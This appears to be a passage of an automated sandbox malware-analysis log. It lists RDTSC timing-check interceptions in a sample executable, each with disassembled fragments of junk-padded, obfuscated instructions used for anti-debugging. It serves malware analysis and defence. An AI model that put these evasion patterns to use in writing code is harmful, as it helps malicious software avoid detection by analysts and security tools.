Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43A5BC second address: 43A5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43A5C0 second address: 43A5D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43E465 second address: 43E46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 43E46E second address: 43E472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 441365 second address: 44137B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4424D3 second address: 44253A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007FAD607DA419h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FAD607DA408h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 pushad 0x00000029 add di, 2E5Ah 0x0000002e xor esi, dword ptr [ebp+1244EA47h] 0x00000034 popad 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+1244D7A1h], ecx 0x0000003d mov ebx, edi 0x0000003f push 00000000h 0x00000041 mov dword ptr [ebp+122DB2F1h], eax 0x00000047 xchg eax, esi 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c push ebx 0x0000004d pop ebx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 441619 second address: 44163A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44253A second address: 44254C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44163A second address: 44163E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44254C second address: 442561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD607DA411h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44370B second address: 443711 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3F0C59 second address: 3F0C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3F0C5E second address: 3F0C64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 444814 second address: 444883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ebx, dword ptr [ebp+122DB2EBh] 0x0000000f push dword ptr fs:[00000000h] 0x00000016 mov dword ptr [ebp+122D2EEFh], eax 0x0000001c mov edi, dword ptr [ebp+122D36DAh] 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007FAD607DA408h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 00000017h 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 mov dword ptr [ebp+122D1862h], edi 0x00000049 xor bx, 5FFFh 0x0000004e mov eax, dword ptr [ebp+122D16F9h] 0x00000054 movsx ebx, bx 0x00000057 push FFFFFFFFh 0x00000059 sub dword ptr [ebp+122D1B14h], edx 0x0000005f nop 0x00000060 push eax 0x00000061 push edx 0x00000062 jo 00007FAD607DA40Ch 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3F0C64 second address: 3F0C98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAD60CE3D88h 0x00000015 jmp 00007FAD60CE3D7Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 444883 second address: 444887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3F0C98 second address: 3F0C9D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 444887 second address: 44488C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44488C second address: 44489C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44489C second address: 4448AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3F0C9D second address: 3F0CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 js 00007FAD60CE3D76h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 446CE9 second address: 446CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FAD607DA406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 446EF5 second address: 446EF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44AD51 second address: 44AD5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44AD5B second address: 44AD5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44AD5F second address: 44ADBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a cmc 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FAD607DA408h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D3662h] 0x0000002d push 00000000h 0x0000002f je 00007FAD607DA40Ch 0x00000035 mov dword ptr [ebp+122D194Ah], esi 0x0000003b xor ebx, 7B38BA94h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FAD607DA40Bh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44ADBB second address: 44ADC5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAD60CE3D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44D44A second address: 44D456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44D456 second address: 44D45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44D45A second address: 44D46C instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAD607DA406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FAD607DA406h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44F545 second address: 44F562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD60CE3D7Bh 0x00000009 jmp 00007FAD60CE3D7Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44F562 second address: 44F566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3FADDA second address: 3FADDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3FADDE second address: 3FADE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3FADE2 second address: 3FADED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 448F01 second address: 448F05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44FB54 second address: 44FBC3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FAD60CE3D78h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov edi, eax 0x00000026 push 00000000h 0x00000028 pushad 0x00000029 mov eax, 592BEDD1h 0x0000002e call 00007FAD60CE3D88h 0x00000033 mov dword ptr [ebp+12451BF4h], esi 0x00000039 pop ecx 0x0000003a popad 0x0000003b push 00000000h 0x0000003d pushad 0x0000003e mov ecx, dword ptr [ebp+122D35F2h] 0x00000044 mov dword ptr [ebp+122D186Bh], eax 0x0000004a popad 0x0000004b xchg eax, esi 0x0000004c push esi 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44FBC3 second address: 44FBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44FBC7 second address: 44FBD7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAD60CE3D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44FBD7 second address: 44FBF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD607DA418h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 447E08 second address: 447E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 447E0E second address: 447E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAD607DA40Ah 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e sbb bl, 00000048h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007FAD607DA408h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 mov bh, dh 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b mov dword ptr [ebp+122D20F1h], edx 0x00000041 mov eax, dword ptr [ebp+122D1015h] 0x00000047 add ebx, dword ptr [ebp+122D24C8h] 0x0000004d push FFFFFFFFh 0x0000004f mov ebx, 5EC50625h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 js 00007FAD607DA406h 0x0000005e pop ebx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44D6D6 second address: 44D6E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FAD60CE3D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44FD97 second address: 44FDA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jp 00007FAD607DA40Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 44FDA8 second address: 44FE47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAD60CE3D7Ch 0x0000000a jnp 00007FAD60CE3D76h 0x00000010 popad 0x00000011 nop 0x00000012 mov ebx, dword ptr [ebp+122D36CEh] 0x00000018 push dword ptr fs:[00000000h] 0x0000001f sub bh, FFFFFFE0h 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 mov edi, dword ptr [ebp+122D28A2h] 0x0000002f mov eax, dword ptr [ebp+122D0A01h] 0x00000035 call 00007FAD60CE3D87h 0x0000003a sub edi, dword ptr [ebp+122D35BEh] 0x00000040 pop edi 0x00000041 push FFFFFFFFh 0x00000043 push 00000000h 0x00000045 push ebx 0x00000046 call 00007FAD60CE3D78h 0x0000004b pop ebx 0x0000004c mov dword ptr [esp+04h], ebx 0x00000050 add dword ptr [esp+04h], 00000014h 0x00000058 inc ebx 0x00000059 push ebx 0x0000005a ret 0x0000005b pop ebx 0x0000005c ret 0x0000005d mov edi, dword ptr [ebp+122D351Eh] 0x00000063 nop 0x00000064 push ebx 0x00000065 pushad 0x00000066 push edx 0x00000067 pop edx 0x00000068 jmp 00007FAD60CE3D86h 0x0000006d popad 0x0000006e pop ebx 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 ja 00007FAD60CE3D78h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 451F3C second address: 451F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 458D71 second address: 458D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD60CE3D87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 458D8C second address: 458D9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jc 00007FAD607DA406h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 458EDA second address: 458F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007FAD60CE3D7Bh 0x0000000d popad 0x0000000e je 00007FAD60CE3D84h 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jmp 00007FAD60CE3D7Dh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 458F17 second address: 458F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007FAD607DA40Eh 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 458F2E second address: 458F4B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAD60CE3D81h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 45907D second address: 459081 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 45DACD second address: 45DAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4633E0 second address: 4633E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4633E8 second address: 4633ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4633ED second address: 4633F4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4633F4 second address: 463409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007FAD60CE3D8Ah 0x0000000d jl 00007FAD60CE3D7Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4628D2 second address: 4628D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4628D8 second address: 4628DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4628DD second address: 46291E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAD607DA412h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FAD607DA40Dh 0x00000010 push edi 0x00000011 jnl 00007FAD607DA406h 0x00000017 jmp 00007FAD607DA40Dh 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f jl 00007FAD607DA406h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 462BFF second address: 462C04 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 462C04 second address: 462C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 462C0A second address: 462C12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 462D8E second address: 462D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 463028 second address: 463042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD60CE3D86h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 463042 second address: 46305E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FAD607DA406h 0x00000010 pop edx 0x00000011 pushad 0x00000012 jnl 00007FAD607DA406h 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4632A7 second address: 4632B1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FAD60CE3D7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 464A65 second address: 464A71 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAD607DA40Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 464A71 second address: 464A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAD60CE3D7Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 469DDA second address: 469DE4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 3F78A6 second address: 3F78C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD60CE3D88h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 468A6F second address: 468A81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD607DA40Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 468A81 second address: 468A8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAD60CE3D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 468D81 second address: 468DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FAD607DA406h 0x0000000a jnp 00007FAD607DA406h 0x00000010 popad 0x00000011 pop ebx 0x00000012 jnp 00007FAD607DA42Bh 0x00000018 pushad 0x00000019 jmp 00007FAD607DA40Dh 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jo 00007FAD607DA406h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jne 00007FAD607DA406h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4690AA second address: 4690C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAD60CE3D84h 0x0000000a pushad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 4697D3 second address: 4697DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 46CE63 second address: 46CE79 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FAD60CE3D80h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	RDTSC instruction interceptor: First address: 471ABC second address: 471AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FAD607DA406h 0x0000000a rdtsc
